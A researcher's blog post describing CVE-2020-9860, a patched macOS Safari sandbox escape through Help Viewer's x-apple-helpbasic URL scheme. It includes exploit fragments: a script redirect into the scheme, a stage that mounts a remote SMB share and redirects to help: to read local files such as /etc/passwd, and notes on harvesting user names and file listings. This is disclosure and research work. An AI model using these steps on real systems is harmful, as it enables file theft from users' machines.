X Site eScape (Part III): CVE-2020–9860, A Copycat

Jul 11 · 7 min read

Safari Sandbox escape in pure Javascript inspired by Lokihardt

Parental Advisory: this is a pure sh**post that has explicit language and the content may disappoint you

Image for post
Image for post


You must have realized that I’ve skipped the part II of this series. That’s because the patches and advisories are still in progress. I had been keeping that stuff for a while to prepare for some competition. Unfortunately, about a month before the deadline, I sadly found something gone on macOS Catalina Developer Beta, which broke my exploit.

That was quite frustrating. It could’ve been my last chance to own some target as the exploitation is getting harder and harder. I haven’t even finished any full chain yet. Even without that upgrade, I still need an extra renderer takeover to kickstart. The walls are closing in, so go big or go home. I told myself that I couldn’t keep doing this child’s play. You know, my bugs are weird. Maybe I should consider quitting this stupid sh*t and focus on something that makes sense, like getting myself a further education or so.

Alright. Don’t be such a drama queen. Do something.

I came across these two bugs by lokihardt used in Mobile Pwn2Own 2014 and Pwn2Own 2015.

These bugs are just URL schemes (specifically, itms:// used by AppStore) trusted by (Mobile)Safari that leads to arbitrary URL redirection in a special, unsandboxed WebView. Combined with renderer bugs, he successfully to archive code execution outside the sandbox.

This one is even more impressive. With the XSS in HelpViewer, native code execution is archived.

As far as I knew, Rootredrain found this bug independently: https://conference.hitb.org/hitbsecconf2017ams/materials/D2T2%20-%20Yu%20Hong%20-%20Attack%20Surface%20Extended%20by%20URL%20Schemes.pdf

The Bug

Safari usually warns about URL scheme natigation. But certain trusted protocols don’t trigger the prompt at all:

Image for post
Image for post

Was HelperViewer fully patched in 2019? Nope.

Before we start, we need this tiny frida snippet to enable debug log:

frida Help\ Viewer -l log.js

Interceptor.attach(ObjC.classes.HVLogger['- logMessage:inFile:line:category:type:'].implementation, {
onEnter(args) {
console.log(new ObjC.Object(args[2]))

Now disassemble HelpViewer and take look at the method -[HelpApplication processURL:]. When the scheme is x-apple-helpbasic, a legacy window (without TOC and AppleScript support) shows up.

Image for post
Image for post

The hostname is limited to match *.apple.com. The handler replaces its scheme to https and redirect to the page. For example, x-apple-helpbasic://www.apple.com/aaa becomes https://www.apple.com/aaa

Image for post
Image for post


[Local::Help Viewer]-> determining handler for url: x-apple-helpbasic://google.com /BuildRoot/Library/Caches/com.apple.xbs/Sources/HelpViewer/HelpViewer-378/Source/URL Handling/HVURLHandler.m WARNING: An attempt was made to open Help Viewer with an ‘x-apple-helpbasic’ schemed URL at an untrusted domain. The attempt was disallowed. Untrusted URL: x-apple-helpbasic://google.com /BuildRoot/Library/Caches/com.apple.xbs/Sources/HelpViewer/HelpViewer-378/Source/URL Handling/HVBasicURLHandler.m

This app uses https only so the Wi-Fi portal hijack won’t work. It’s time for XSS to rock.

Rush Hour

Dramatically, when I found this attack surface, there was only one week left to the deadline. So how long does it take to find a cross-site scripting issue on Apple.com without any scanner? No more than 24hrs.

Firstly I looked at this hall of fame page for web security issues found reported to Apple. It’s useful to collect subdomains this way for a guy who doesn’t work majorly on web security.

So I just walked through few sites and read their javascript, searching for DOM operations and the usages of location. My luck worked. I found a legacy manual page that loads an external language pack. It’s like the remote file inclusion bug of php, but for client side. Since the advisory is not out yet, there won’t be any detail but it doesn’t matter.

This WebView of HelpViewer has no sandbox. One more non-jit bug we’re good to go. This sandbox escape is dumb as the f word:

<script>location.href = 'x-apple-helpbasic:////???.apple.com/...'

Available for: macOS Mojave and macOS High Sierra, and included in macOS Catalina

Impact: Processing a maliciously crafted URL may lead to arbitrary javascript code execution

Description: A custom URL scheme handling issue was addressed with improved input validation.

CVE-2020–9860: CodeColorist of Ant-Financial LightYear Labs

Entry added June 25, 2020

Never Gonna Give You Up

Thought Calculator was not executed, I tried to make this bug count. With a runtime patch I can enable Inspector for all WebViews on macOS and iOS, so just had some experiment to see where it goes.

Image for post
Image for post

Unlike that help: scheme that lokihardt had exploited, this WebView did not provide full (it’s called basic!) capabilities, so no AppleScript interface to spawn the shell. There was a bridged Objective C object named window.HelpViewer

Image for post
Image for post

Its methods are exposed as follows:

Image for post
Image for post

Method systemProfile can create a subprocess without sandbox, but I didn’t manage to find a way to invke other binaries.

In the event delegate of this WebView:

-[HVBasicWindowController webView:decidePolicyForNewWindowAction:request:newFrameName:decisionListener:]

Image for post
Image for post

This means we can launch arbitrary URL with a simple navigation. But location.href = file:///System/Applications/Calculator.app was not allowed because of Same-Origin policy. Please refer to Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016–4622 section 7.2 and WebKit source for this. Only given memory read and write primitives can I override this SOP setting. But if so, it’s sufficient for code execution anyway.

It did open more attack surfaces. For example, vnc:// URL would silently connect to a remote server without confirmation. Maybe there is possbility to pwn the client with a malformed server? I can’t tell.

Image for post
Image for post

(Failed) Local File Disclosure

Though file: navigation is not allowed, HVBasicWindowController actually has three special NSURLProtocol(s) (https://developer.apple.com/documentation/foundation/nsurlprotocol?language=objc) to handle http requests with special protocol schemes:

  • HVHelpTopicsURLProtocol (x-help-topics:)
  • HVHelpContentURLProtocol (apple-help-content:)
  • HVHelpURLProtocol (help:)

This is not the universal link we’ve talked about before! It’s about HTTP response overriding.

This handler -[HVHelpURLProtocol startLoading] takes the path from an URL, mapping it to a local file and yields the content.

Image for post
Image for post

For example, help://whatever/etc/passwd results in:

Image for post
Image for post

But due to same origin policy (again!), an http: page can not fetch url from help:. To bypass this, I came across an idea to abuse remote disk mounting to construct a new XSS to thehelp: domain.

Before macOS Catalina, accessing /net/ results in automatic mounting NFS volume from host . This trick has been abused by various exploits and red teaming for years. Since 10.15, the/net entry of /etc/auto_master is commented out. It’s now disabled.

My idea was to use a smb://user:passwd@host/path url to open Finder, then this location will be mounted on /Volumes/path . Samba is just one of the supported protocols, others like afp:// and cifs:// should be working as well.

During my test, if explicitly given username and password, Finder doesn’t ask for confirmation at all. But I seemed to be fooled by my test environment. It actually asks. This resulted in first two failed attempts during my demostration, until I removed this part from my exploit.

If this works, my exploit redirects to help:/Volumes/Label/stage3 which is able to read files from arbitrary path:

<link rel="stylesheet" type="text/css" href="/static/style.css">
<script type="text/javascript">
setInterval(() => {location = 'help:/Volumes/FileStage/reader.html'}, 2000)
location = 'smb://bob:bob@{{ ip }}/FileStage'

Furthermore, to get the active user name, I read the file /Library/Preferences/com.apple.loginwindow.plist and parse its lastUserName key. To (partially) list a directory (e.g. ~/Documents), I can parse .DS_Store to get some of the filenames.


  1. https://bugs.chromium.org/p/project-zero/issues/detail?id=1040 Issue 1040: macOS: HelpViewer XSS leads to arbitrary file execution and arbitrary file read
  2. https://twitter.com/vangelis_at_poc/status/852763661168857088 A medley of modern web browser exploits
  3. https://developer.apple.com/library/archive/documentation/Carbon/Conceptual/ProvidingUserAssitAppleHelp/registering_help/registering_help.html#//apple_ref/doc/uid/TP30000903-CH207-BHAHHAAE How to Register Your Help Book
  4. https://support.apple.com/en-is/HT201536 Apple web server notifications
  5. https://github.com/Metnew/abusing-helpviewer-parallels-for-mac Parallels for Mac: system_profiler output leak and launching of arbitrary apps from the web


I write random stuff

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch

Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore

Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade